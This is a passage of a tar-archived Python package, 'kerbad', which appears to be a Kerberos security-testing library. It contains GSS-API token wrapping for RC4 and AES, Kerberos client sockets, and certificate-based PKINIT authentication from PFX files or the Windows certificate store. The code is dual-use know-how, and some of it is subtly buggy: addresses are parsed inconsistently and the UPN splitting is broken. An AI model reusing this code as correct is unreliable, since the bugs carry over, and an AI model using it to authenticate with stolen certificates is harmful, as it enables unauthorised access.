#MIT CHAOS protocol address type NS = 6 #XEROX NS address type NBS = 7 #nbs address type ECMA = 8 #ECMA address type DATAKIT = 9 #datakit protocols address type CCITT = 10 #CCITT protocols SNA = 11 #IBM SNA address type DECnet = 12 #DECnet address type DLI = 13 #Direct data link interface address type LAT = 14 #LAT address type HYLINK = 15 #NSC Hyperchannel address type APPLETALK= 16 #AppleTalk address type BSC = 17 #BISYNC 2780/3780 address type DSS = 18 #Distributed system services address type OSI = 19 #OSI TP4 address type X25 = 21 #X.25 NULLADDR = 255 #No address specified class ChannelBindingsStruct: def __init__(self): self.initiator_addrtype = None #GSS_C_AF self.initiator_address = None #bytes self.acceptor_addrtype = None #GSS_C_AF self.acceptor_address = None #bytes self.application_data = None #bytes @staticmethod def from_bytes(data): return ChannelBindingsStruct.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): # TODO: parse the addresses cb = ChannelBindingsStruct() t = buff.read(8) if t != b'\x00' * 8: cb.initiator_addrtype = GSS_C_AF(int.from_bytes(t, byteorder='little', signed = False)) initiator_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False) cb.initiator_address = buff.read(initiator_address_length) t = buff.read(8) if t != b'\x00' * 8: cb.acceptor_addrtype = GSS_C_AF(int.from_bytes(buff.read(4), byteorder='little', signed = False)) acceptor_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False) cb.acceptor_address = buff.read(acceptor_address_length) t = buff.read(8) if t != b'\x00' * 8: application_data_length = int.from_bytes(buff.read(4), byteorder='little', signed = False) cb.application_data = buff.read(application_data_length) return cb def to_bytes(self): if self.initiator_address is None: t = b'\x00' * 8 else: t = self.initiator_addrtype.value.to_bytes(4, byteorder='little', signed = False) t += len(self.initiator_address).to_bytes(4, byteorder='little', signed = False) t += self.initiator_address if self.acceptor_address is None: t += b'\x00' * 8 else: t += self.acceptor_addrtype t += len(self.acceptor_address).to_bytes(4, byteorder='little', signed = False) t += self.acceptor_address if self.application_data is None: t += b'\x00' * 8 else: t += len(self.application_data).to_bytes(4, byteorder='little', signed = False) t += self.application_data return t././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987039.0 kerbad-0.5.10/kerbad/gssapi/gssapi.py0000777000175000000000000003037715056277237016536 0ustar00silverrootimport enum import io import os from kerbad.protocol.constants import EncryptionType from kerbad.protocol import encryption from unicrypto.hashlib import md5 from unicrypto import hmac #, hmac_md5 from unicrypto.symmetric import RC4 # https://tools.ietf.org/html/draft-raeburn-krb-rijndael-krb-05 # https://tools.ietf.org/html/rfc2478 # https://tools.ietf.org/html/draft-ietf-krb-wg-gssapi-cfx-02 GSS_WRAP_HEADER = b'\x60\x2b\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02' class GSSAPIFlags(enum.IntFlag): GSS_C_DCE_STYLE = 0x1000 GSS_C_EXTENDED_ERROR_FLAG = 0x4000 GSS_C_IDENTIFY_FLAG = 0x2000 GSS_C_DELEG_FLAG = 1 GSS_C_MUTUAL_FLAG = 2 GSS_C_REPLAY_FLAG = 4 GSS_C_SEQUENCE_FLAG = 8 GSS_C_CONF_FLAG = 0x10 GSS_C_INTEG_FLAG = 0x20 class KG_USAGE(enum.Enum): ACCEPTOR_SEAL = 22 ACCEPTOR_SIGN = 23 INITIATOR_SEAL = 24 INITIATOR_SIGN = 25 class FlagsField(enum.IntFlag): SentByAcceptor = 0 Sealed = 2 AcceptorSubkey = 4 # https://tools.ietf.org/html/rfc4757 (7.2) class GSSMIC_RC4: def __init__(self): self.TOK_ID = b'\x01\x01' self.SGN_ALG = b'\x11\x00' #HMAC self.Filler = b'\xff'*4 self.SND_SEQ = None self.SGN_CKSUM = None @staticmethod def from_bytes(data): return GSSMIC_RC4.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): mic = GSSMIC_RC4() mic.TOK_ID = buff.read(2) mic.SGN_ALG = buff.read(2) mic.Filler = buff.read(4) mic.SND_SEQ = buff.read(8) mic.SGN_CKSUM = buff.read(8) return mic def to_bytes(self): t = self.TOK_ID t += self.SGN_ALG t += self.Filler t += self.SND_SEQ if self.SGN_CKSUM is not None: t += self.SGN_CKSUM return t class GSSWRAP_RC4: def __init__(self): self.TOK_ID = b'\x02\x01' self.SGN_ALG = b'\x11\x00' #HMAC self.SEAL_ALG = None self.Filler = b'\xFF' * 2 self.SND_SEQ = None self.SGN_CKSUM = None self.Confounder = None @staticmethod def from_bytes(data): return GSSWRAP_RC4.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): wrap = GSSWRAP_RC4() wrap.TOK_ID = buff.read(2) wrap.SGN_ALG = buff.read(2) wrap.SEAL_ALG = buff.read(2) wrap.Filler = buff.read(2) wrap.SND_SEQ = buff.read(8) wrap.SGN_CKSUM = buff.read(8) wrap.Confounder = buff.read(8) return wrap def to_bytes(self): t = self.TOK_ID t += self.SGN_ALG t += self.SEAL_ALG t += self.Filler t += self.SND_SEQ if self.SGN_CKSUM: t += self.SGN_CKSUM if self.Confounder: t += self.Confounder return t class GSSAPI_RC4: def __init__(self, session_key): self.session_key = session_key def GSS_GetMIC(self, data, sequenceNumber, direction = 'init'): GSS_GETMIC_HEADER = b'\x60\x23\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02' # Let's pad the data pad = (4 - (len(data) % 4)) & 0x3 padStr = bytes([pad]) * pad data += padStr mic = GSSMIC_RC4() if direction == 'init': mic.SND_SEQ = sequenceNumber.to_bytes(4, 'big', signed = False) + b'\x00'*4 else: mic.SND_SEQ = sequenceNumber.to_bytes(4, 'big', signed = False) + b'\xff'*4 Ksign_ctx = hmac.new(self.session_key.contents, digestmod = 'md5') Ksign_ctx.update(b'signaturekey\0') Ksign = Ksign_ctx.digest() id = 15 temp = md5( id.to_bytes(4, 'little', signed = False) + mic.to_bytes()[:8] ).digest() chksum_ctx = hmac.new(Ksign, digestmod = 'md5') chksum_ctx.update(temp) mic.SGN_CKSUM = chksum_ctx.digest()[:8] id = 0 temp = hmac.new(self.session_key.contents, digestmod = 'md5') temp.update(id.to_bytes(4, 'little', signed = False)) Kseq_ctx = hmac.new(temp.digest(), digestmod = 'md5') Kseq_ctx.update(mic.SGN_CKSUM) Kseq = Kseq_ctx.digest() mic.SGN_CKSUM = RC4(Kseq).encrypt(mic.SND_SEQ) return GSS_GETMIC_HEADER + mic.to_bytes() def GSS_Wrap(self, data, seq_num, direction = 'init', encrypt=True, auth_data=None): GSS_WRAP_HEADER = b'\x60\x2b\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02' pad = (8 - (len(data) % 8)) & 0x7 padStr = bytes([pad]) * pad data += padStr token = GSSWRAP_RC4() token.SEAL_ALG = b'\x10\x00' if direction == 'init': token.SND_SEQ = seq_num.to_bytes(4, 'big', signed = False) + b'\x00'*4 else: token.SND_SEQ = seq_num.to_bytes(4, 'big', signed = False) + b'\xff'*4 token.Confounder = os.urandom(8) temp = hmac.new(self.session_key.contents, digestmod = 'md5') temp.update(b'signaturekey\0') Ksign = temp.digest() id = 13 Sgn_Cksum = md5( id.to_bytes(4, 'little', signed = False) + token.to_bytes()[:8] + token.Confounder + data).digest() temp = hmac.new(Ksign, digestmod = 'md5') temp.update(Sgn_Cksum) token.SGN_CKSUM = temp.digest()[:8] klocal = b'' for b in self.session_key .contents: klocal += bytes([b ^ 0xf0]) id = 0 temp = hmac.new(klocal, digestmod = 'md5') temp.update(id.to_bytes(4, 'little', signed = False)) temp = hmac.new(temp.digest(), digestmod = 'md5') temp.update(seq_num.to_bytes(4, 'big', signed = False)) Kcrypt = temp.digest() id = 0 temp = hmac.new(self.session_key.contents, digestmod = 'md5') temp.update(id.to_bytes(4, 'little', signed = False)) temp = hmac.new(temp.digest(), digestmod = 'md5') temp.update(token.SGN_CKSUM) Kseq = temp.digest() token.SND_SEQ = RC4(Kseq).encrypt(token.SND_SEQ) if auth_data is not None: wrap = GSSWRAP_RC4.from_bytes(auth_data[8 + len(GSS_WRAP_HEADER):]) id = 0 temp = hmac.new(self.session_key.contents, digestmod = 'md5') temp.update(id.to_bytes(4, 'little', signed = False)) temp = hmac.new(temp.digest(), digestmod = 'md5') temp.update(wrap.SGN_CKSUM) snd_seq = RC4(temp.digest()).encrypt(wrap.SND_SEQ) id = 0 temp = hmac.new(klocal, digestmod = 'md5') temp.update(id.to_bytes(4, 'little', signed = False)) temp = hmac.new(temp.digest(), digestmod = 'md5') temp.update(snd_seq[:4]) Kcrypt = temp.digest() rc4 = RC4(Kcrypt) cipherText = rc4.decrypt(token.Confounder + data)[8:] elif encrypt is True: rc4 = RC4(Kcrypt) token.Confounder = rc4.encrypt(token.Confounder) cipherText = rc4.encrypt(data) else: cipherText = data finalData = GSS_WRAP_HEADER + token.to_bytes() return cipherText, finalData def GSS_Unwrap(self, data, seq_num, direction='init', auth_data = None): return self.GSS_Wrap(data, seq_num, direction, False, auth_data) # 4.2.6.1. MIC Tokens class GSSMIC: def __init__(self): self.TOK_ID = b'\x04\x04' self.Flags = None self.Filler = b'\xFF' * 5 self.SND_SEQ = None self.SGN_CKSUM = None @staticmethod def from_bytes(data): return GSSMIC.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): m = GSSMIC() m.TOK_ID = buff.read(2) m.Flags = FlagsField(int.from_bytes(buff.read(1), 'big', signed = False)) m.Filler = buff.read(5) m.SND_SEQ = int.from_bytes(buff.read(8), 'big', signed = False) m.SGN_CKSUM = buff.read() #should know the size based on the algo! return m def to_bytes(self): t = self.TOK_ID t += self.Flags.to_bytes(1, 'big', signed = False) t += self.Filler t += self.SND_SEQ.to_bytes(8, 'big', signed = False) if self.SGN_CKSUM is not None: t += self.SGN_CKSUM return t # 4.2.6.2. Wrap Tokens class GSSWrapToken: def __init__(self): self.TOK_ID = b'\x05\x04' self.Flags = None self.Filler = b'\xFF' self.EC = None self.RRC = None self.SND_SEQ = None self.Data = None @staticmethod def from_bytes(data): return GSSWrapToken.from_buffer(io.BytesIO(data)) @staticmethod def from_buffer(buff): m = GSSWrapToken() m.TOK_ID = buff.read(2) m.Flags = FlagsField(int.from_bytes(buff.read(1), 'big', signed = False)) m.Filler = buff.read(1) m.EC = int.from_bytes(buff.read(2), 'big', signed = False) m.RRC = int.from_bytes(buff.read(2), 'big', signed = False) m.SND_SEQ = int.from_bytes(buff.read(8), 'big', signed = False) return m def to_bytes(self): t = self.TOK_ID t += self.Flags.to_bytes(1, 'big', signed = False) t += self.Filler t += self.EC.to_bytes(2, 'big', signed = False) t += self.RRC.to_bytes(2, 'big', signed = False) t += self.SND_SEQ.to_bytes(8, 'big', signed = False) if self.Data is not None: t += self.Data return t class GSSAPI_AES: def __init__(self, session_key, cipher_type, checksum_profile): self.session_key = session_key self.checksum_profile = checksum_profile self.cipher_type = cipher_type self.cipher = None def rotate(self, data, numBytes): numBytes %= len(data) left = len(data) - numBytes result = data[left:] + data[:left] return result def unrotate(self, data, numBytes): numBytes %= len(data) result = data[numBytes:] + data[:numBytes] return result def GSS_GetMIC(self, data, seq_num): pad = (4 - (len(data) % 4)) & 0x3 padStr = bytes([pad]) * pad data += padStr m = GSSMIC() m.Flags = FlagsField.AcceptorSubkey m.SND_SEQ = seq_num checksum_profile = self.checksum_profile() m.checksum = checksum_profile.checksum(self.session_key, KG_USAGE.INITIATOR_SIGN.value, data + m.to_bytes()[:16]) return m.to_bytes() def GSS_Wrap(self, data, seq_num): cipher = self.cipher_type() pad = (cipher.blocksize - (len(data) % cipher.blocksize)) & 15 padStr = b'\xFF' * pad data += padStr t = GSSWrapToken() t.Flags = FlagsField.Sealed | FlagsField.AcceptorSubkey t.EC = pad t.RRC = 0 t.SND_SEQ = seq_num cipher_text = cipher.encrypt(self.session_key, KG_USAGE.INITIATOR_SEAL.value, data + t.to_bytes(), None) t.RRC = 28 #[RFC4121] section 4.2.5 cipher_text = self.rotate(cipher_text, t.RRC + t.EC) ret1 = cipher_text[16 + t.RRC + t.EC:] ret2 = t.to_bytes() + cipher_text[:16 + t.RRC + t.EC] return ret1, ret2 def GSS_Unwrap(self, data, seq_num, direction='init', auth_data = None): cipher = self.cipher_type() t = GSSWrapToken.from_bytes(auth_data[8:]) rotated = auth_data[16+8:] + data cipher_text = self.unrotate(rotated, t.RRC + t.EC) plain_text = cipher.decrypt(self.session_key, KG_USAGE.ACCEPTOR_SEAL.value, cipher_text) return plain_text[:-(t.EC + 16)], None def get_gssapi(session_key): if session_key.enctype == encryption.Enctype.AES256: return GSSAPI_AES(session_key, encryption._AES256CTS, encryption._SHA1AES256) if session_key.enctype == encryption.Enctype.AES128: return GSSAPI_AES(session_key, encryption._AES128CTS, encryption._SHA1AES128) elif session_key.enctype in [encryption.Enctype.RC4, encryption.Enctype.RC4_MD4]: return GSSAPI_RC4(session_key) else: raise Exception('Unsupported etype %s' % session_key.enctype) def test(): data_padded= bytes.fromhex('810e00001a204de2d64fd111a3da0000f875ae0d1c4500003400000034000000008040050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffff') token_1= bytes.fromhex('050406ff000c00000000000000000000') cipherText_1 = bytes.fromhex('0880ed78d6196dde3f3fb23eeea650bc4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed44008cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af7486') cipherText_2 = bytes.fromhex('08cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af74860880ed78d6196dde3f3fb23eeea650bc4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed440') session_key = encryption.Key( encryption.Enctype.AES256 , bytes.fromhex('3e242e91996aadd513ecb1bc2369e44183e08e08c51550fa4b681e77f75ed8e1')) data = bytes.fromhex('810e00001a204de2d64fd111a3da0000f875ae0d1c4500003400000034000000008040050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff') sequenceNumber = 0 ret1 = bytes.fromhex('4ae025fa2a9c337c75c024d9d8f0186c75a4a9060e2a40a9ad024317bf5df6a86cb4a764a9ca36843f8fa4f99c03e2bde46f5a29aafc83dacdf9f0a5677446b5d910417142dc7b7ba7ded76cddc4acf9bf7ed440') ret2 = bytes.fromhex('050406ff000c001c000000000000000008cb9850e5701f2f9285dad6463ca8d0e365d4f1700f3d054e242ebcde2f3146ddd411a627af74860880ed78d6196dde3f3fb23eeea650bc') gssapi = get_gssapi(session_key) r1, r2 = gssapi.GSS_Wrap(data, sequenceNumber) gssapi.GSS_Unwrap(r1, 0, auth_data = b'\xff'*8 + r2) print(r1.hex()) print(ret1.hex()) assert r1 == ret1 assert r2 == ret2 if __name__ == '__main__': test()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/network/0000777000175000000000000000000015137335015015051 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/network/__init__.py0000777000175000000000000000000014760576506017170 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987041.0 kerbad-0.5.10/kerbad/network/aioclientsocket.py0000777000175000000000000000645015056277241020621 0ustar00silverrootfrom kerbad import logger from kerbad.protocol.asn1_structs import KerberosResponse from kerbad.common.target import KerberosTarget from asysocks.unicomm.common.target import UniProto from asysocks.unicomm.client import UniClient from asysocks.unicomm.common.packetizers import Packetizer class KerberosPacketizer(Packetizer): def __init__(self, buffer_size = 65535): Packetizer.__init__(self, buffer_size) self.buffer_size = buffer_size self.in_buffer = b'' def process_buffer(self): if len(self.in_buffer) > 4: length = int.from_bytes(self.in_buffer[:4], byteorder = 'big', signed = False) if len(self.in_buffer) >= length: data = self.in_buffer[4:4+length] self.in_buffer = self.in_buffer[length+4:] yield data async def data_out(self, data): yield data async def data_in(self, data): if data is None: yield data self.in_buffer += data for packet in self.process_buffer(): yield packet class KerberosPWChangePacketizer(Packetizer): def __init__(self, buffer_size = 65535): Packetizer.__init__(self, buffer_size) self.buffer_size = buffer_size self.in_buffer = b'' def process_buffer(self): if len(self.in_buffer) > 4: length = int.from_bytes(self.in_buffer[:4], byteorder = 'big', signed = False) if len(self.in_buffer) >= length: data = self.in_buffer[4:4+length] self.in_buffer = self.in_buffer[length+4:] yield data async def data_out(self, data): yield data async def data_in(self, data): if data is None: yield data self.in_buffer += data for packet in self.process_buffer(): yield packet class AIOKerberosPWChangeClientSocket: def __init__(self, target:KerberosTarget): self.target = target def get_addr_str(self): return '%s:%d' % (self.target.get_hostname_or_ip(), self.target.port) async def sendrecv(self, data, throw:bool = False): client = None connection = None try: packetizer = KerberosPWChangePacketizer() client = UniClient(self.target, packetizer) connection = await client.connect() if self.target.protocol == UniProto.CLIENT_TCP: length = len(data).to_bytes(4, byteorder = 'big', signed = False) await connection.write(length + data) async for packet in connection.read(): krb_message = packet break elif self.target.protocol == UniProto.CLIENT_UDP: raise Exception('Not implemented!') return krb_message finally: if connection is not None: await connection.close() class AIOKerberosClientSocket: def __init__(self, target:KerberosTarget): self.target = target def get_addr_str(self): return '%s:%d' % (self.target.get_hostname_or_ip(), self.target.port) async def sendrecv(self, data, throw:bool = False): client = None connection = None try: packetizer = KerberosPacketizer() client = UniClient(self.target, packetizer) connection = await client.connect() if self.target.protocol == UniProto.CLIENT_TCP: length = len(data).to_bytes(4, byteorder = 'big', signed = False) await connection.write(length + data) async for packet in connection.read(): krb_message = KerberosResponse.load(packet) break elif self.target.protocol == UniProto.CLIENT_UDP: raise Exception('Not implemented!') return krb_message finally: if connection is not None: await connection.close() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987069.0 kerbad-0.5.10/kerbad/network/clientsocket.py0000777000175000000000000000531715056277275020140 0ustar00silverroot import socket from kerbad.protocol.asn1_structs import KerberosResponse from kerbad.protocol.errors import KerberosErrorCode, KerberosError from asysocks.unicomm.common.target import UniProto class KerberosClientSocket: def __init__(self, target): self.target = target self.soc_type = target.protocol self.dst_ip = target.get_hostname_or_ip() self.dst_port = int(target.port) self.soc = None def __str__(self): t = '===KerberosClientSocket===\r\n' t += 'soc_type: %s\r\n' % self.soc_type t += 'dst_ip: %s\r\n' % self.dst_ip t += 'dst_port: %s\r\n' % self.dst_port return t def get_addr_str(self): return '%s:%d' % (self.dst_ip, self.dst_port) def create_soc(self): if self.soc_type == UniProto.CLIENT_TCP: self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.soc.connect((self.dst_ip, self.dst_port)) elif self.soc_type == UniProto.CLIENT_UDP: self.soc = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) else: raise Exception('Unknown socket type!') def sendrecv(self, data, throw = True): #throw variable indicates wether to create an exception when a kerberos error happens or just return the kerberos error" #for any other exceptions types (eg. connection related errors) an exception will be raised regardless self.create_soc() try: if self.soc_type == UniProto.CLIENT_TCP: length = len(data).to_bytes(4, byteorder = 'big', signed = False) self.soc.sendall(length + data) buff = b'' total_length = -1 while True: temp = b'' temp = self.soc.recv(4096) if temp == b'': break buff += temp if total_length == -1: if len(buff) > 4: total_length = int.from_bytes(buff[:4], byteorder = 'big', signed = False) if total_length == 0: raise Exception('Returned data length is 0! This means the server did not understand our message') if total_length != -1: if len(buff) == total_length + 4: buff = buff[4:] break elif len(buff) > total_length + 4: raise Exception('Got too much data somehow') else: continue elif self.soc_type == UniProto.CLIENT_UDP: self.soc.sendto(data, (self.dst_ip, self.dst_port)) while True: buff, addr = self.soc.recvfrom(65535) if addr[0] == self.dst_ip: break else: # got a message from a different IP than the target, strange! # continuing, but this might result in an infinite loop continue if buff == b'': raise Exception('Server closed the connection!') krb_message = KerberosResponse.load(buff) if krb_message.name == 'KRB_ERROR' and throw == True: raise KerberosError(krb_message) return krb_message finally: self.soc.close() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756986930.0 kerbad-0.5.10/kerbad/pkinit.py0000777000175000000000000004201415056277062015243 0ustar00silverroot # Kudos: # Parts of this code was inspired by the following project by @rubin_mor # https://github.com/morRubin/AzureADJoinedMachinePTC # # TODO: code currently supports RSA+DH+SHA1 , add support for other mechanisms import os import datetime import secrets import platform from unicrypto import hashlib from asn1crypto import cms from asn1crypto import algos from asn1crypto import core from asn1crypto import x509 from asn1crypto import keys from cryptography.hazmat.primitives.asymmetric.dh import generate_parameters from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives.serialization import Encoding from kerbad.protocol.constants import NAME_TYPE, MESSAGE_TYPE, PaDataType from kerbad.protocol.encryption import Enctype, _checksum_table, _enctype_table, Key from kerbad.protocol.structures import AuthenticatorChecksum from kerbad.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, HostAddress, \ KDCOptions, EncASRepPart, AP_REQ, AuthorizationData, Checksum, krb5_pvno, Realm, \ EncryptionKey, Authenticator, Ticket, APOptions, EncryptedData, AS_REQ, AP_REP from kerbad.protocol.rfc4556 import PKAuthenticator, AuthPack, Dunno1, Dunno2, MetaData, Info, CertIssuer, CertIssuers, PA_PK_AS_REP, KDCDHKeyInfo from kerbad.protocol.rfc_iakerb import KRB_FINISHED from kerbad.protocol.mskile import LSAP_TOKEN_INFO_INTEGRITY, KERB_AD_RESTRICTION_ENTRY, KERB_AD_RESTRICTION_ENTRYS from kerbad.gssapi.gssapi import GSSAPIFlags def length_encode(x): if x <= 127: return x.to_bytes(1, 'big', signed = False) else: lb = x.to_bytes((x.bit_length() + 7) // 8, 'big') t = (0x80 | len(lb)).to_bytes(1, 'big', signed = False) return t+lb class DirtyDH: def __init__(self): self.p = None self.g = None self.shared_key = None self.shared_key_int = None self.private_key = os.urandom(32) self.private_key_int = int(self.private_key.hex(), 16) self.dh_nonce = os.urandom(32) @staticmethod def from_params(p, g): dd = DirtyDH() dd.p = p dd.g = g return dd @staticmethod def from_dict(dhp): dd = DirtyDH() dd.p = dhp['p'] dd.g = dhp['g'] return dd @staticmethod def from_asn1(asn1_bytes): dhp = algos.DHParameters.load(asn1_bytes).native return DirtyDH.from_dict(dhp) def get_public_key(self): #y = g^x mod p return pow(self.g, self.private_key_int, self.p) def exchange(self, bob_int): self.shared_key_int = pow(bob_int, self.private_key_int, self.p) x = hex(self.shared_key_int)[2:] if len(x) % 2 != 0: x = '0' + x self.shared_key = bytes.fromhex(x) return self.shared_key class PKINIT: def __init__(self): self.certificate = None self.extra_certs = None self.user_sid = None self.user_name = None self.issuer = None self.cname = None self.diffie = None self.__hcert = None def init_windows_cert(self, username, certstore_name = 'MY', cert_serial = None): from kerbad.common.windows.crypt32 import find_cert_by_cn self.certificate, self.__hcert = find_cert_by_cn(username, certstore_name) @staticmethod def from_windows_certstore(username, certstore_name = 'MY', cert_serial = None, dh_params = None): pkinit = PKINIT() pkinit.init_windows_cert(username, certstore_name = certstore_name, cert_serial = cert_serial) pkinit.setup(dh_params = dh_params) return pkinit @staticmethod def from_pfx(pfxfile, pfxpass, dh_params = None): pkinit = PKINIT() #print('Loading pfx12') if isinstance(pfxpass, str): pfxpass = pfxpass.encode() with open(pfxfile, 'rb') as f: pkinit.privkey, cert, pkinit.extra_certs = pkcs12.load_key_and_certificates(f.read(), password = pfxpass) cert_der = cert.public_bytes(encoding=Encoding.DER) pkinit.certificate = x509.Certificate.load(cert_der) #print('pfx12 loaded!') pkinit.setup(dh_params = dh_params) return pkinit def setup(self, dh_params = None): # In Microsoft ecosystem there seem to be two main naming conventions for their certificates' subjects: # - For AD, the principal's distinguished name a.k.a NT-X500-PRINCIPAL (there are others too but not supported here) # - For EntraID, something not standard like "//login.windows.net//" e.g: # S-1-12-1-2190073739-1304874406-157446548-3757931170/c26d6885-f0df-4642-8207-5a38c93d2347/login.windows.net/e5bdbab1-eaba-4c81-b953-67e45605e0d8/testuser@bloody.corp # # minkrb doesn't handle as-req with NT-X500-PRINCIPAL so we'll try to extract the UPN/DNS in the SAN or the sAMAccountName in the CN as last resort hoping they're identical # # Mapping reference: "[MS-PKCA] 3.1.5.2.1 Certificate Mapping" upn = None dnsname = None cert_domain = None UPN_OID = "1.3.6.1.4.1.311.20.2.3" if self.certificate.subject_alt_name_value: for san in self.certificate.subject_alt_name_value: if san.native.get("type_id") == UPN_OID: upn = san.native["value"] break elif san.name == "dns_name": dnsname = san.native["value"] break else: # Multiple cn is possible, e.g. "CN=Test User,CN=Users,DC=corp,DC=local" # but only the last one can possibly be the sAMAccountName cn = self.certificate.subject.native["common_name"] if isinstance(cn, list): cn = cn[-1] # potentially an Azure AD certificate, in this case domain is AzureAD if '@' in cn: upn = cn.rsplit('/', 1)[-1] else: self.cname = cn if upn: # Even if self.username doesn't match sAMAccountName but match the first part of the UPN, kerberos will find the principal self.cname, cert_domain = upn.rsplit('@', 1)[1] elif dnsname: self.cname, cert_domain = dnsname.split('.', 1) self.cname += '$' if not self.target: if cert_domain: self.target = cert_domain else: dc = None if 'domain_component' in self.certificate.subject.native: dc = self.certificate.subject.native['domain_component'] elif 'domain_component' in self.certificate.issuer.native: dc = self.certificate.issuer.native['domain_component'] if dc is not None: self.target = '.'.join(dc[::-1]) else: raise Exception('Could\'t find proper domain name in the certificate! Please set it manually!') if dh_params is None: print('Generating DH params...') # Or maybe use set_dhparams? # Generate DH parameters parameters = generate_parameters(generator=2, key_size=1024) # Convert the parameters to a dictionary dh_params = { "p": parameters.parameter_numbers().p, "g": parameters.parameter_numbers().g } # Use the generated parameters self.diffie = DirtyDH.from_dict(dh_params) print('DH params generated.') else: #print('Loading default DH params...') if isinstance(dh_params, dict): self.diffie = DirtyDH.from_dict(dh_params) elif isinstance(dh_params, bytes): self.diffie = DirtyDH.from_asn1(dh_params) elif isinstance(dh_params, DirtyDH): self.diffie = dh_params else: raise Exception('DH params must be either a bytearray or a dict') def build_asreq(self, target = None, cname = None, kdcopts = ['forwardable','renewable','proxiable', 'canonicalize']): if isinstance(kdcopts, list): kdcopts = set(kdcopts) if cname is not None: if isinstance(cname, str): cname = [cname] else: cname = [self.cname] if target is not None: if isinstance(target, str): target = [target] else: target = ['127.0.0.1'] now = datetime.datetime.now(datetime.timezone.utc) kdc_req_body_data = {} kdc_req_body_data['kdc-options'] = KDCOptions(kdcopts) kdc_req_body_data['cname'] = PrincipalName({'name-type': NAME_TYPE.MS_PRINCIPAL.value, 'name-string': cname}) kdc_req_body_data['realm'] = 'WELLKNOWN:PKU2U' kdc_req_body_data['sname'] = PrincipalName({'name-type': NAME_TYPE.MS_PRINCIPAL.value, 'name-string': target}) kdc_req_body_data['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0) kdc_req_body_data['nonce'] = secrets.randbits(31) kdc_req_body_data['etype'] = [18,17] # 23 breaks... kdc_req_body_data['addresses'] = [HostAddress({'addr-type': 20, 'address': b'127.0.0.1'})] # not sure if this is needed kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) checksum = hashlib.sha1(kdc_req_body.dump()).digest() authenticator = {} authenticator['cusec'] = now.microsecond authenticator['ctime'] = now.replace(microsecond=0) authenticator['nonce'] = secrets.randbits(31) authenticator['paChecksum'] = checksum dp = {} dp['p'] = self.diffie.p dp['g'] = self.diffie.g dp['q'] = 0 # mandatory parameter, but it is not needed pka = {} pka['algorithm'] = '1.2.840.10046.2.1' pka['parameters'] = keys.DomainParameters(dp) spki = {} spki['algorithm'] = keys.PublicKeyAlgorithm(pka) spki['public_key'] = self.diffie.get_public_key() authpack = {} authpack['pkAuthenticator'] = PKAuthenticator(authenticator) authpack['clientPublicValue'] = keys.PublicKeyInfo(spki) authpack['clientDHNonce'] = self.diffie.dh_nonce authpack = AuthPack(authpack) signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed = False) # ??????? This is absolutely nonsense, payload = length_encode(len(signed_authpack)) + signed_authpack payload = b'\x80' + payload signed_authpack = b'\x30' + length_encode(len(payload)) + payload pa_data_1 = {} pa_data_1['padata-type'] = PaDataType.PK_AS_REQ.value pa_data_1['padata-value'] = signed_authpack asreq = {} asreq['pvno'] = 5 asreq['msg-type'] = 10 asreq['padata'] = [pa_data_1] asreq['req-body'] = kdc_req_body return AS_REQ(asreq).dump() def build_apreq(self, asrep, session_key, cipher, subkey_data, krb_finished_data, flags = GSSAPIFlags.GSS_C_MUTUAL_FLAG | GSSAPIFlags.GSS_C_INTEG_FLAG | GSSAPIFlags.GSS_C_EXTENDED_ERROR_FLAG): # TODO: https://www.ietf.org/rfc/rfc4757.txt #subkey_data = {} #subkey_data['keytype'] = Enctype.AES256 #subkey_data['keyvalue'] = os.urandom(32) subkey_cipher = _enctype_table[subkey_data['keytype']] subkey_key = Key(subkey_cipher.enctype, subkey_data['keyvalue']) subkey_checksum = _checksum_table[16] # ChecksumTypes.hmac_sha1_96_aes256 krb_finished_checksum_data = {} krb_finished_checksum_data['cksumtype'] = 16 krb_finished_checksum_data['checksum'] = subkey_checksum.checksum(subkey_key, 41, krb_finished_data) krb_finished_data = {} krb_finished_data['gss-mic'] = Checksum(krb_finished_checksum_data) krb_finished = KRB_FINISHED(krb_finished_data).dump() a = 2 extensions_data = a.to_bytes(4, byteorder='big', signed=True) + len(krb_finished).to_bytes(4, byteorder='big', signed=True) + krb_finished ac = AuthenticatorChecksum() 